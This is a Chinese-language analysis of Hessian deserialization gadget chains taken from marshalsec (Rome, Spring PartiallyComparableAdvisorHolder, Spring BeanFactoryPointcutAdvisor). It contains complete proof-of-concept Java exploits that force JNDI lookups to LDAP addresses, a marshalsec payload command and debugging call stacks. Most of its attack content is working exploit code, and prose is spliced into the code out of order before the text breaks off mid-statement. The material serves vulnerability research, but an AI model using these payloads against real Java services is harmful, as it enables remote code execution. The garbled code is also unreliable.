com.caucho.hessian.io.Hessian2Output; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.IOException; public class test {    public static void main(String[] args) throws IOException {        Person p=new Person();        p.setAge(22);        p.setName("nice0e3");        ByteArrayOutputStream os = new ByteArrayOutputStream();        Hessian2Output output = new Hessian2Output(os);        output.writeObject(p);        output.close();        System.out.println("---------------------------------");        //反序列化 0x03 Hessian利用链 在marshalsec工具中,提供了Hessian的几条利用链 Rome XBean Resin SpringPartiallyComparableAdvisorHolder SpringAbstractBeanFactoryPointcutAdvisor Rome 该链需要以下依赖 构造分析        ByteArrayInputStream is = new ByteArrayInputStream(os.toByteArray());        Hessian2Input hessian2Input = new Hessian2Input(is);        Object person = hessian2Input.readObject();        System.out.println(person.toString());   } } <dependency>    <groupId>com.rometools</groupId>     <artifactId>rome</artifactId>     <version>1.7.0</version> </dependency> public interface Rome extends Gadget {    @Primary    @Args ( minArgs = 1, args = {        "jndiUrl"   }, defaultArgs = {        MarshallerBase.defaultJNDIUrl   } )    default Object makeRome ( UtilFactory uf, String[] args ) throws Exception {        return makeROMEAllPropertyTrigger(uf, JdbcRowSetImpl.class, JDKUtil.makeJNDIRowSet(args[ 0 ]));   }    default <T> Object makeROMEAllPropertyTrigger ( UtilFactory uf, Class<T> type, T obj ) throws Exception {        ToStringBean item = new ToStringBean(type, obj);        EqualsBean root = new EqualsBean(ToStringBean.class, item);        return uf.makeHashCodeTrigger(root);   } } 在 JDKUtil.makeJNDIRowSet(args[ 0 ]) 进行跟进, arg[0] 位置为传递的ldap地址。 创建 JdbcRowSetImpl 实例,调用 setDataSourceName 方法对实例的 dataSource 值赋值为传递进来 的 jndiurl 变量,随后调用 setMatchColumn 方法,将 JdbcRowSetImpl 实例的 strMatchColumns 成员 变量设置为 foo ,最后将 JdbcRowSetImpl 实例的 listeners 变量设置为空,该变量位于父类 javax.sql.rowset.BaseRowSet 中。 下面走到 makeROMEAllPropertyTrigger 方法中 实例化 ToStringBean 对象,将type(这里为 JdbcRowSetImpl.class )和 JdbcRowSetImpl 实例传递到 构造方法中,下面实例化 EqualsBean 对象将 ToStringBean.class 和 ToStringBean 的实例化对象进行 传递。获取到名为root的实例化对象。接着调用 uf.makeHashCodeTrigger(root) ,该位置进行跟进。 该位置传递2个同样的对象到 makeMap 方法中调用 public static JdbcRowSetImpl makeJNDIRowSet ( String jndiUrl ) throws Exception {        JdbcRowSetImpl rs = new JdbcRowSetImpl();        rs.setDataSourceName(jndiUrl);        rs.setMatchColumn("foo");        Reflections.getField(javax.sql.rowset.BaseRowSet.class, "listeners").set(rs, null);        return rs;   } default <T> Object makeROMEAllPropertyTrigger ( UtilFactory uf, Class<T> type, T obj ) throws Exception {    ToStringBean item = new ToStringBean(type, obj);    EqualsBean root = new EqualsBean(ToStringBean.class, item);    return uf.makeHashCodeTrigger(root); }    default Object makeHashCodeTrigger ( Object o1 ) throws Exception {        return JDKUtil.makeMap(o1, o1);   } public static HashMap<Object, Object> makeMap ( Object v1, Object v2 ) throws Exception {        HashMap<Object, Object> s = new HashMap<>();        Reflections.setFieldValue(s, "size", 2);        Class<?> nodeC;        try {            nodeC = Class.forName("java.util.HashMap$Node");       }        catch ( ClassNotFoundException e ) {            nodeC = Class.forName("java.util.HashMap$Entry");       } 实例化HashMap将长度设置为2,反射获取 java.util.HashMap$Node 或 java.util.HashMap$Entry , 实例化一个对象并且设置长度为2,并且第一个数据插入值为 java.util.HashMap$Node 的实例化对 象,该对象在实例化的时候传递4个值,第一个值为0,第二和三个值为刚刚获取并传递进来的 EqualsBean 实例化对象,第四个为null。 插入的第二个数据也是如此。 走到下面则反射设置s这个hashmap中table的值为tbl,tbl为反射创建的 java.util.HashMap$Node 对 象。 简化后的代码如下        Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);        nodeCons.setAccessible(true);        Object tbl = Array.newInstance(nodeC, 2);        Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));        Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));        Reflections.setFieldValue(s, "table", tbl);        return s;   } //反序列化时ToStringBean.toString()会被调用,触发JdbcRowSetImpl.getDatabaseMetaData- >JdbcRowSetImpl.connect->Context.lookup String jndiUrl = "ldap://localhost:1389/obj"; JdbcRowSetImpl rs = new JdbcRowSetImpl(); rs.setDataSourceName(jndiUrl); rs.setMatchColumn("foo"); //反序列化时EqualsBean.beanHashCode会被调用,触发ToStringBean.toString ToStringBean item = new ToStringBean(JdbcRowSetImpl.class, obj); //反序列化时HashMap.hash会被调用,触发EqualsBean.hashCode->EqualsBean.beanHashCode EqualsBean root = new EqualsBean(ToStringBean.class, item); //HashMap.put->HashMap.putVal->HashMap.hash HashMap<Object, Object> s = new HashMap<>(); Reflections.setFieldValue(s, "size", 2); Class<?> nodeC; try {    nodeC = Class.forName("java.util.HashMap$Node"); } catch ( ClassNotFoundException e ) {    nodeC = Class.forName("java.util.HashMap$Entry"); } Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC); nodeCons.setAccessible(true); Object tbl = Array.newInstance(nodeC, 2); Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null)); Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null)); Reflections.setFieldValue(s, "table", tbl); 利用分析 poc import com.rometools.rome.feed.impl.EqualsBean; import com.rometools.rome.feed.impl.ToStringBean; import com.sun.rowset.JdbcRowSetImpl; import marshalsec.gadgets.JDKUtil; import marshalsec.util.Reflections; import org.apache.dubbo.serialize.hessian.Hessian2ObjectInput; import org.apache.dubbo.serialize.hessian.Hessian2ObjectOutput; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.lang.reflect.Array; import java.lang.reflect.Constructor; import java.sql.SQLException; import java.util.HashMap; public class remotest {    public static void main(String[] args) throws Exception {        //反序列化时ToStringBean.toString()会被调用,触发 JdbcRowSetImpl.getDatabaseMetaData->JdbcRowSetImpl.connect->Context.lookup        String jndiUrl = "ldap://127.0.0.1:1389/obj";        JdbcRowSetImpl rs = new JdbcRowSetImpl();        rs.setDataSourceName(jndiUrl);        rs.setMatchColumn("foo"); //反序列化时EqualsBean.beanHashCode会被调用,触发ToStringBean.toString        ToStringBean item = new ToStringBean(JdbcRowSetImpl.class, rs); //反序列化时HashMap.hash会被调用,触发EqualsBean.hashCode->EqualsBean.beanHashCode        EqualsBean root = new EqualsBean(ToStringBean.class, item); //HashMap.put->HashMap.putVal->HashMap.hash        HashMap<Object, Object> s = new HashMap<>();        Reflections.setFieldValue(s, "size", 2);        Class<?> nodeC;        try {            nodeC = Class.forName("java.util.HashMap$Node");       }        catch ( ClassNotFoundException e ) {            nodeC = Class.forName("java.util.HashMap$Entry");       }        Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);        nodeCons.setAccessible(true);        Object tbl = Array.newInstance(nodeC, 2);        Array.set(tbl, 0, nodeCons.newInstance(0, root, root, null));        Array.set(tbl, 1, nodeCons.newInstance(0, root, root, null));        Reflections.setFieldValue(s, "table", tbl);        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();        Hessian2ObjectOutput hessian2Output = new Hessian2ObjectOutput(byteArrayOutputStream); 到此不得不提到 Hessian 的反序列化反序列化机制,在反序列化过程或获取一个需要序列化对象的对应 的反序列化器,如现在这里的 MapDeserializer 。感觉这个和Xstream的反序列化机制有点类似。反序 列化机制在此不细表,后面再去跟踪该反序列化机制 ((Map)map).put(in.readObject(), in.readObject()); 跟踪该位置        hessian2Output.writeObject(s);        hessian2Output.flushBuffer();        byte[] bytes = byteArrayOutputStream.toByteArray();        System.out.println(new String(bytes, 0, bytes.length));        // hessian2的反序列化        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);        Hessian2ObjectInput hessian2Input = new Hessian2ObjectInput(byteArrayInputStream);        HashMap o = (HashMap) hessian2Input.readObject(); //       makeROMEAllPropertyTrigger(uf, JdbcRowSetImpl.class, JDKUtil.makeJNDIRowSet(args[ 0 ]));   } } public Object readMap(AbstractHessianInput in) throws IOException {        Object map;        if (this._type == null) {            map = new HashMap();       } else if (this._type.equals(Map.class)) {            map = new HashMap();       } else if (this._type.equals(SortedMap.class)) {            map = new TreeMap();       } else {            try {                map = (Map)this._ctor.newInstance();           } catch (Exception var4) {                throw new IOExceptionWrapper(var4);           }       }        in.addRef(map);        while(!in.isEnd()) {           ((Map)map).put(in.readObject(), in.readObject());       }        in.readEnd();        return map;   } 这里获取到的key和value的值都为 EqualsBean 实例化对象。 该位置去调用hash方法去计算hashcode的值 com.rometools.rome.feed.impl.EqualsBean#hashcode 这里的hashcode是调用 beanHashCode 方法 public V put(K key, V value) {        return putVal(hash(key), key, value, false, true);   } static final int hash(Object key) {        int h;        return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);   } public int hashCode() {        return this.beanHashCode();   } public int beanHashCode() {        return this.obj.toString().hashCode();   }   public String toString() {        Stack<String[]> stack = (Stack)PREFIX_TL.get();        boolean needStackCleanup = false;        if (stack == null) {            stack = new Stack();            PREFIX_TL.set(stack);            needStackCleanup = true;       }        String[] tsInfo;        if (stack.isEmpty()) {            tsInfo = null;       } else {            tsInfo = (String[])stack.peek();       }        String prefix;        String result;        if (tsInfo == null) {            result = this.obj.getClass().getName();            prefix = result.substring(result.lastIndexOf(".") + 1);       } else {            prefix = tsInfo[0];            tsInfo[1] = prefix; 调用this.toString       }        result = this.toString(prefix);        if (needStackCleanup) {            PREFIX_TL.remove();       }        return result;   } private String toString(String prefix) {    StringBuffer sb = new StringBuffer(128);    try {        List<PropertyDescriptor> propertyDescriptors = BeanIntrospector.getPropertyDescriptorsWithGetters(this.beanClass);        Iterator var10 = propertyDescriptors.iterator();        while(var10.hasNext()) {            PropertyDescriptor propertyDescriptor = (PropertyDescriptor)var10.next();            String propertyName = propertyDescriptor.getName();            Method getter = propertyDescriptor.getReadMethod();            Object value = getter.invoke(this.obj, NO_PARAMS);            this.printProperty(sb, prefix + "." + propertyName, value);           ... 反射调用this.obj的 getDatabaseMetaData 方法 触发lookup,后面自然不用多说了。 调用栈 public DatabaseMetaData getDatabaseMetaData() throws SQLException {        Connection var1 = this.connect();        return var1.getMetaData();   }  private Connection connect() throws SQLException {        if (this.conn != null) {            return this.conn;       } else if (this.getDataSourceName() != null) {            try {                InitialContext var1 = new InitialContext();                DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName()); lookup:417, InitialContext (javax.naming) connect:624, JdbcRowSetImpl (com.sun.rowset) getDatabaseMetaData:4004, JdbcRowSetImpl (com.sun.rowset) invoke0:-1, NativeMethodAccessorImpl (sun.reflect) invoke:62, NativeMethodAccessorImpl (sun.reflect) invoke:43, DelegatingMethodAccessorImpl (sun.reflect) invoke:498, Method (java.lang.reflect) toString:158, ToStringBean (com.rometools.rome.feed.impl) toString:129, ToStringBean (com.rometools.rome.feed.impl) beanHashCode:198, EqualsBean (com.rometools.rome.feed.impl) hashCode:180, EqualsBean (com.rometools.rome.feed.impl) hash:339, HashMap (java.util) put:612, HashMap (java.util) readMap:114, MapDeserializer (com.caucho.hessian.io) readMap:538, SerializerFactory (com.caucho.hessian.io) readObject:2110, Hessian2Input (com.caucho.hessian.io) readObject:86, Hessian2ObjectInput (org.apache.dubbo.serialize.hessian) main:57, remotest SpringPartiallyComparableAdvisorHolder 该gadget需要以下依赖 构造分析 跟踪 SpringUtil.makeJNDITrigger 方法 该方法将jndiurl转换成一个list对象,然后传递调用 this.shareableResources.addAll() 方法,该方 法对 shareableResources 的 HashSet 进行addAll的操作 java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Hessian SpringPartiallyComparableAdvisorHolder ldap://127.0.0.1:1388/Exp <dependency>    <groupId>org.springframework</groupId>    <artifactId>spring-aop</artifactId>    <version>5.0.0.RELEASE</version> </dependency> <dependency>    <groupId>org.springframework</groupId>    <artifactId>spring-context</artifactId>    <version>4.1.3.RELEASE</version> </dependency> <dependency>    <groupId>org.aspectj</groupId>    <artifactId>aspectjweaver</artifactId>    <version>1.6.10</version> </dependency> default Object makePartiallyComparableAdvisorHolder ( UtilFactory uf, String[] args ) throws Exception {        String jndiUrl = args[ 0 ];        BeanFactory bf = SpringUtil.makeJNDITrigger(jndiUrl);        return SpringUtil.makeBeanFactoryTriggerPCAH(uf, jndiUrl, bf);   } public static BeanFactory makeJNDITrigger ( String jndiUrl ) throws Exception {    SimpleJndiBeanFactory bf = new SimpleJndiBeanFactory();    bf.setShareableResources(jndiUrl);    Reflections.setFieldValue(bf, "logger", new NoOpLog());    Reflections.setFieldValue(bf.getJndiTemplate(), "logger", new NoOpLog());    return bf; } public void setShareableResources(String... shareableResources) {    this.shareableResources.addAll(Arrays.asList(shareableResources)); } 继续来到下面 设置logger的值为NoOpLog实例化对象,获取 bf.getJndiTemplate() 也进行同样操作。 接着返回bf的 BeanFactory 实例化对象 创建 BeanFactoryAspectInstanceFactory 的实例化对象,名为aif,并将bf变量和name分别反射赋值 到beanFactory和name中。bf为上面获取的 BeanFactory 对象。 接着创建 AbstractAspectJAdvice 对象,将 aspectInstanceFactory 的值,设置为aif变量对象进行 传递。 将advice的 declaringClass 、 methodName 、 parameterTypes 分别设置为 Object.class 、 toString 、 new Class[0] ,创建 AspectJPointcutAdvisor 对象,将前面设置了一系列值的 advice 放置到 advisor 对象的 advice 变量中。 最后创建 org.springframework.aop.aspectj.autoproxy.AspectJAwareAdvisorAutoProxyCreator$Parti allyComparableAdvisorHolder 对象,将 advisor 设置到该对象的 advisor 成员变量中。并且调用 uf.makeToStringTriggerUnstable(pcah); public static Object makeBeanFactoryTriggerPCAH ( UtilFactory uf, String name, BeanFactory bf ) throws ClassNotFoundException,        NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException, Exception {    AspectInstanceFactory aif = Reflections.createWithoutConstructor(BeanFactoryAspectInstanceFactory.class);    Reflections.setFieldValue(aif, "beanFactory", bf);    Reflections.setFieldValue(aif, "name", name);    AbstractAspectJAdvice advice = Reflections.createWithoutConstructor(AspectJAroundAdvice.class);    Reflections.setFieldValue(advice, "aspectInstanceFactory", aif);    // make readObject happy if it is called    Reflections.setFieldValue(advice, "declaringClass", Object.class);    Reflections.setFieldValue(advice, "methodName", "toString");    Reflections.setFieldValue(advice, "parameterTypes", new Class[0]);    AspectJPointcutAdvisor advisor = Reflections.createWithoutConstructor(AspectJPointcutAdvisor.class);    Reflections.setFieldValue(advisor, "advice", advice);    Class<?> pcahCl = Class .forName("org.springframework.aop.aspectj.autoproxy.AspectJAwareAdvisorAutoProxy Creator$PartiallyComparableAdvisorHolder");    Object pcah = Reflections.createWithoutConstructor(pcahCl);    Reflections.setFieldValue(pcah, "advisor", advisor);    return uf.makeToStringTriggerUnstable(pcah); } 跟踪该方法 public static Object makeToStringTrigger ( Object o, Function<Object, Object> wrap ) throws Exception {    String unhash = unhash(o.hashCode());    XString xString = new XString(unhash);    return JDKUtil.makeMap(wrap.apply(o), wrap.apply(xString)); }  public static HashMap<Object, Object> makeMap ( Object v1, Object v2 ) throws Exception { 与前面的一致,再次就不做分析了 利用分析 poc        HashMap<Object, Object> s = new HashMap<>();        Reflections.setFieldValue(s, "size", 2);        Class<?> nodeC;        try {            nodeC = Class.forName("java.util.HashMap$Node");       }        catch ( ClassNotFoundException e ) {            nodeC = Class.forName("java.util.HashMap$Entry");       }        Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);        nodeCons.setAccessible(true);        Object tbl = Array.newInstance(nodeC, 2);        Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));        Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));        Reflections.setFieldValue(s, "table", tbl);        return s;   } import com.caucho.hessian.io.Hessian2Input; import com.caucho.hessian.io.Hessian2Output; import com.sun.org.apache.xpath.internal.objects.XString; import marshalsec.HessianBase; import marshalsec.util.Reflections; import org.apache.commons.logging.impl.NoOpLog; import org.apache.dubbo.serialize.hessian.Hessian2ObjectInput; import org.apache.dubbo.serialize.hessian.Hessian2ObjectOutput; import org.springframework.aop.aspectj.AbstractAspectJAdvice; import org.springframework.aop.aspectj.AspectInstanceFactory; import org.springframework.aop.aspectj.AspectJAroundAdvice; import org.springframework.aop.aspectj.AspectJPointcutAdvisor; import org.springframework.aop.aspectj.annotation.BeanFactoryAspectInstanceFactory; import org.springframework.aop.target.HotSwappableTargetSource; import org.springframework.jndi.support.SimpleJndiBeanFactory; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.lang.reflect.Array; import java.lang.reflect.Constructor; import java.lang.reflect.InvocationTargetException; import java.util.HashMap; public class SpringPartiallyComparableAdvisorHoldertest {    public static void main(String[] args) throws Exception {        String jndiUrl = "ldap://localhost:1389/obj";        SimpleJndiBeanFactory bf = new SimpleJndiBeanFactory();        bf.setShareableResources(jndiUrl); //反序列化时BeanFactoryAspectInstanceFactory.getOrder会被调用,会触发调用 SimpleJndiBeanFactory.getType->SimpleJndiBeanFactory.doGetType- >SimpleJndiBeanFactory.doGetSingleton->SimpleJndiBeanFactory.lookup- >JndiTemplate.lookup        Reflections.setFieldValue(bf, "logger", new NoOpLog());        Reflections.setFieldValue(bf.getJndiTemplate(), "logger", new NoOpLog()); //反序列化时AspectJAroundAdvice.getOrder会被调用,会触发 BeanFactoryAspectInstanceFactory.getOrder        AspectInstanceFactory aif = Reflections.createWithoutConstructor(BeanFactoryAspectInstanceFactory.class);        Reflections.setFieldValue(aif, "beanFactory", bf);        Reflections.setFieldValue(aif, "name", jndiUrl); //反序列化时AspectJPointcutAdvisor.getOrder会被调用,会触发 AspectJAroundAdvice.getOrder        AbstractAspectJAdvice advice = Reflections.createWithoutConstructor(AspectJAroundAdvice.class);        Reflections.setFieldValue(advice, "aspectInstanceFactory", aif); //反序列化时PartiallyComparableAdvisorHolder.toString会被调用,会触发 AspectJPointcutAdvisor.getOrder        AspectJPointcutAdvisor advisor = Reflections.createWithoutConstructor(AspectJPointcutAdvisor.class);        Reflections.setFieldValue(advisor, "advice", advice); //反序列化时Xstring.equals会被调用,会触发PartiallyComparableAdvisorHolder.toString        Class<?> pcahCl = Class.forName("org.springframework.aop.aspectj.autoproxy.AspectJAwareAdvisorAuto ProxyCreator$PartiallyComparableAdvisorHolder");        Object pcah = Reflections.createWithoutConstructor(pcahCl);        Reflections.setFieldValue(pcah, "advisor", advisor); //反序列化时HotSwappableTargetSource.equals会被调用,触发Xstring.equals        HotSwappableTargetSource v1 = new HotSwappableTargetSource(pcah);        HotSwappableTargetSource v2 = new HotSwappableTargetSource(new XString("xxx"));        HashMap<Object, Object> s = new HashMap<>();        Reflections.setFieldValue(s, "size", 2);        Class<?> nodeC;        try {            nodeC = Class.forName("java.util.HashMap$Node");       }        catch ( ClassNotFoundException e ) {            nodeC = Class.forName("java.util.HashMap$Entry");       }        Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC); 以上代码 在序列化部分多出来了几行代码。我们知道,一般对于对象的序列化,如果对象对应的class没 有对 java.io.Serializable 进行实现implement的话,是没办法序列化的,所以这里对输出流进行了 设置,使其可以输出没有实现java.io.Serializable接口的对象。 将断点打到 com.caucho.hessian.io.MapDeserializer#readMap 调用HashMap的put方法        nodeCons.setAccessible(true);        Object tbl = Array.newInstance(nodeC, 2);        Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));        Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));        Reflections.setFieldValue(s, "table", tbl); //反序列化时HashMap.putVal会被调用,触发HotSwappableTargetSource.equals。这里没有直接使 用HashMap.put设置值,直接put会在本地触发利用链,所以使用marshalsec使用了比较特殊的处理方式。        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();        Hessian2Output hessian2Output = new Hessian2Output(byteArrayOutputStream);        HessianBase.NoWriteReplaceSerializerFactory sf = new HessianBase.NoWriteReplaceSerializerFactory();        sf.setAllowNonSerializable(true);        hessian2Output.setSerializerFactory(sf);        hessian2Output.writeObject(s);        hessian2Output.flushBuffer();        byte[] bytes = byteArrayOutputStream.toByteArray();        // hessian2反序列化        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);        Hessian2Input hessian2Input = new Hessian2Input(byteArrayInputStream);        HashMap o = (HashMap) hessian2Input.readObject();   } } public Object readMap(AbstractHessianInput in) throws IOException {   ...    while(!in.isEnd()) {       ((Map)map).put(in.readObject(), in.readObject());   }    in.readEnd();    return map; } public V put(K key, V value) {        return putVal(hash(key), key, value, false, true);   } 与前面不同的是这里是借助putVal方法 key.equals方法位置进行跟踪 调用obj2的toString final V putVal(int hash, K key, V value, boolean onlyIfAbsent,                   boolean evict) {        Node<K,V>[] tab; Node<K,V> p; int n, i;        if ((tab = table) == null || (n = tab.length) == 0)            n = (tab = resize()).length;        if ((p = tab[i = (n - 1) & hash]) == null)            tab[i] = newNode(hash, key, value, null);        else {            Node<K,V> e; K k;            if (p.hash == hash &&               ((k = p.key) == key || (key != null && key.equals(k)))) public boolean equals(Object other) {    return this == other || other instanceof HotSwappableTargetSource && this.target.equals(((HotSwappableTargetSource)other).target); } public boolean equals(Object obj2) {  if (null == obj2)    return false;    // In order to handle the 'all' semantics of    // nodeset comparisons, we always call the    // nodeset function.  else if (obj2 instanceof XNodeSet)    return obj2.equals(this);  else if(obj2 instanceof XNumber)      return obj2.equals(this);  else    return str().equals(obj2.toString()); }  public boolean equals(Object obj2) {    if (null == obj2)      return false;      // In order to handle the 'all' semantics of      // nodeset comparisons, we always call the      // nodeset function.    else if (obj2 instanceof XNodeSet)      return obj2.equals(this);    else if(obj2 instanceof XNumber)        return obj2.equals(this);    else      return str().equals(obj2.toString()); }  public String toString() {            StringBuilder sb = new StringBuilder();            Advice advice = this.advisor.getAdvice();            sb.append(ClassUtils.getShortName(advice.getClass()));            sb.append(": ");            if (this.advisor instanceof Ordered) {                sb.append("order ").append(((Ordered)this.advisor).getOrder()).append(", ");           } public int getOrder() {    return this.order != null ? this.order : this.advice.getOrder(); } public int getOrder() {    return this.aspectInstanceFactory.getOrder(); } public int getOrder() {    Class<?> type = this.beanFactory.getType(this.name);    if (type != null) {        return Ordered.class.isAssignableFrom(type) && this.beanFactory.isSingleton(this.name) ? ((Ordered)this.beanFactory.getBean(this.name)).getOrder() : OrderUtils.getOrder(type, 2147483647);   } else {        return 2147483647;   } } 到了该位置调用 this.lookup(name, requiredType); public Class<?> getType(String name) throws NoSuchBeanDefinitionException {    try {        return this.doGetType(name);   } catch (NameNotFoundException var3) {        throw new NoSuchBeanDefinitionException(name, "not found in JNDI environment");   } catch (NamingException var4) {        return null;   } } private Class<?> doGetType(String name) throws NamingException {        if (this.isSingleton(name)) {            Object jndiObject = this.doGetSingleton(name, (Class)null);            return jndiObject != null ? jndiObject.getClass() : null; private <T> T doGetSingleton(String name, Class<T> requiredType) throws NamingException {        synchronized(this.singletonObjects) {            Object jndiObject;            if (this.singletonObjects.containsKey(name)) {                jndiObject = this.singletonObjects.get(name);                if (requiredType != null && !requiredType.isInstance(jndiObject)) {                    throw new TypeMismatchNamingException(this.convertJndiName(name), requiredType, jndiObject != null ? jndiObject.getClass() : null);               } else {                    return jndiObject;               }           } else {                jndiObject = this.lookup(name, requiredType);                this.singletonObjects.put(name, jndiObject);                return jndiObject;           }       }   }  protected <T> T lookup(String jndiName, Class<T> requiredType) throws NamingException {        Assert.notNull(jndiName, "'jndiName' must not be null");        String convertedName = this.convertJndiName(jndiName);        Object jndiObject;        try {            jndiObject = this.getJndiTemplate().lookup(convertedName, requiredType); 该位置获取InitialContext对象,传递到 var3 = contextCallback.doInContext(ctx); 方法进行继续 调用 至此触发漏洞,该链比较长 public <T> T lookup(String name, Class<T> requiredType) throws NamingException {    Object jndiObject = this.lookup(name);    if (requiredType != null && !requiredType.isInstance(jndiObject)) {        throw new TypeMismatchNamingException(name, requiredType, jndiObject != null ? jndiObject.getClass() : null); public Object lookup(final String name) throws NamingException {        if (this.logger.isDebugEnabled()) {            this.logger.debug("Looking up JNDI object with name [" + name + "]");       }        return this.execute(new JndiCallback<Object>() { public <T> T execute(JndiCallback<T> contextCallback) throws NamingException {        Context ctx = this.getContext();        Object var3;        try {            var3 = contextCallback.doInContext(ctx);       } finally {            this.releaseContext(ctx);       }        return var3;   } public Object doInContext(Context ctx) throws NamingException {                Object located = ctx.lookup(name);                if (located == null) {                    throw new NameNotFoundException("JNDI object with [" + name + "] not found: JNDI implementation returned null");               } else {                    return located;               } 调用栈 SpringAbstractBeanFactoryPointcutAdvisor 构造分析 lookup:417, InitialContext (javax.naming) doInContext:155, JndiTemplate$1 (org.springframework.jndi) execute:87, JndiTemplate (org.springframework.jndi) lookup:152, JndiTemplate (org.springframework.jndi) lookup:179, JndiTemplate (org.springframework.jndi) lookup:95, JndiLocatorSupport (org.springframework.jndi) doGetSingleton:218, SimpleJndiBeanFactory (org.springframework.jndi.support) doGetType:226, SimpleJndiBeanFactory (org.springframework.jndi.support) getType:191, SimpleJndiBeanFactory (org.springframework.jndi.support) getOrder:127, BeanFactoryAspectInstanceFactory (org.springframework.aop.aspectj.annotation) getOrder:216, AbstractAspectJAdvice (org.springframework.aop.aspectj) getOrder:80, AspectJPointcutAdvisor (org.springframework.aop.aspectj) toString:151, AspectJAwareAdvisorAutoProxyCreator$PartiallyComparableAdvisorHolder (org.springframework.aop.aspectj.autoproxy) equals:392, XString (com.sun.org.apache.xpath.internal.objects) equals:104, HotSwappableTargetSource (org.springframework.aop.target) putVal:635, HashMap (java.util) put:612, HashMap (java.util) readMap:114, MapDeserializer (com.caucho.hessian.io) readMap:538, SerializerFactory (com.caucho.hessian.io) readObject:2110, Hessian2Input (com.caucho.hessian.io) main:87, SpringPartiallyComparableAdvisorHoldertest default Object makeBeanFactoryPointcutAdvisor ( UtilFactory uf, String[] args ) throws Exception {    String jndiUrl = args[ 0 ];    return SpringUtil.makeBeanFactoryTriggerBFPA(uf, jndiUrl, SpringUtil.makeJNDITrigger(jndiUrl)); } public static BeanFactory makeJNDITrigger ( String jndiUrl ) throws Exception {    SimpleJndiBeanFactory bf = new SimpleJndiBeanFactory();    bf.setShareableResources(jndiUrl);    Reflections.setFieldValue(bf, "logger", new NoOpLog());    Reflections.setFieldValue(bf.getJndiTemplate(), "logger", new NoOpLog());    return bf; } 和前面差不多,再次不多做分析 利用分析 poc public static Object makeBeanFactoryTriggerBFPA ( UtilFactory uf, String name, BeanFactory bf ) throws Exception {    DefaultBeanFactoryPointcutAdvisor pcadv = new DefaultBeanFactoryPointcutAdvisor();    pcadv.setBeanFactory(bf);    pcadv.setAdviceBeanName(name);    return uf.makeEqualsTrigger(pcadv, new DefaultBeanFactoryPointcutAdvisor()); } import com.caucho.hessian.io.Hessian2Input; import com.caucho.hessian.io.Hessian2Output; import marshalsec.HessianBase; import marshalsec.util.Reflections; import org.apache.commons.logging.impl.NoOpLog; import org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor; import org.springframework.jndi.support.SimpleJndiBeanFactory; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.lang.reflect.Array; import java.lang.reflect.Constructor; import java.util.HashMap; public class SpringAbstractBeanFactoryPointcutAdvisortest {    public static void main(String[] args) throws Exception {        String jndiUrl = "ldap://localhost:1389/obj";        SimpleJndiBeanFactory bf = new SimpleJndiBeanFactory();        bf.setShareableResources(jndiUrl);        Reflections.setFieldValue(bf, "logger", new NoOpLog());        Reflections.setFieldValue(bf.getJndiTemplate(), "logger", new NoOpLog()); //       bf        DefaultBeanFactoryPointcutAdvisor pcadv = new DefaultBeanFactoryPointcutAdvisor();        pcadv.setBeanFactory(bf);        pcadv.setAdviceBeanName(jndiUrl);        HashMap<Object, Object> s = new HashMap<>();        Reflections.setFieldValue(s, "size", 2);        Class<?> nodeC;        try {            nodeC = Class.forName("java.util.HashMap$Node");       }        catch ( ClassNotFoundException e ) {            nodeC = Class.forName("java.util.HashMap$Entry"); 断点依旧打在 MapDeserializer 中,调用put方法,跟踪       }        Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);        nodeCons.setAccessible(true);        Object tbl = Array.newInstance(nodeC, 2);        Array.set(tbl, 0, nodeCons.newInstance(0, pcadv, pcadv, null));        Array.set(tbl, 1, nodeCons.newInstance(0, new DefaultBeanFactoryPointcutAdvisor(), new DefaultBeanFactoryPointcutAdvisor(), null));        Reflections.setFieldValue(s, "table", tbl);        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();        Hessian2Output hessian2Output = new Hessian2Output(byteArrayOutputStream);        HessianBase.NoWriteReplaceSerializerFactory sf = new HessianBase.NoWriteReplaceSerializerFactory();        sf.setAllowNonSerializable(true);        hessian2Output.setSerializerFactory(sf);        hessian2Output.writeObject(s);        hessian2Output.flushBuffer();        byte[] bytes = byteArrayOutputStream.toByteArray();        // hessian2反序列化        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);        Hessian2Input hessian2Input = new Hessian2Input(byteArrayInputStream);        HashMap o = (HashMap) hessian2Input.readObject(); //       pcadv, new DefaultBeanFactoryPointcutAdvisor();   } }   public V put(K key, V value) {        return putVal(hash(key), key, value, false, true);   } final V putVal(int hash, K key, V value, boolean onlyIfAbsent,                   boolean evict) {        Node<K,V>[] tab; Node<K,V> p; int n, i;        if ((tab = table) == null || (n = tab.length) == 0)            n = (tab = resize()).length;        if ((p = tab[i = (n - 1) & hash]) == null)            tab[i] = newNode(hash, key, value, null);        else {            Node<K,V> e; K k;            if (p.hash == hash &&               ((k = 